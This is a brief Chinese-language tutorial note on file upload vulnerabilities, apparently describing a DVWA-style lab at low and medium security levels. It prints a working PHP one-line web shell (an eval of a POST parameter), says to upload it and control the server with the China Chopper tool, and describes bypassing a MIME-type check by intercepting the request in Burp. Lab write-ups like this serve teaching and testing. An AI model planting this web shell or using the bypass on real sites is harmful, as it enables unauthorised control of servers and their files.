网络安全:文件上传漏洞

<?php @eval($_POST['chopper']);?>

在low 安全级别下，将包含上述代码的php文件上传到没有进行上传数据类型保护的网站功能中。然后用中国菜刀爬下所有文件，可以对文件进行操纵。
在medium安全级别下，后台限制lmime文件类型和文件大小，导致文件上传失败，则需要使用Burp软件。Burp这个软件主要目的是代理和拦截。拦截之后作出修改，修改成想要的类型。

这种漏洞主要是没有对上传文件进行很好的检测。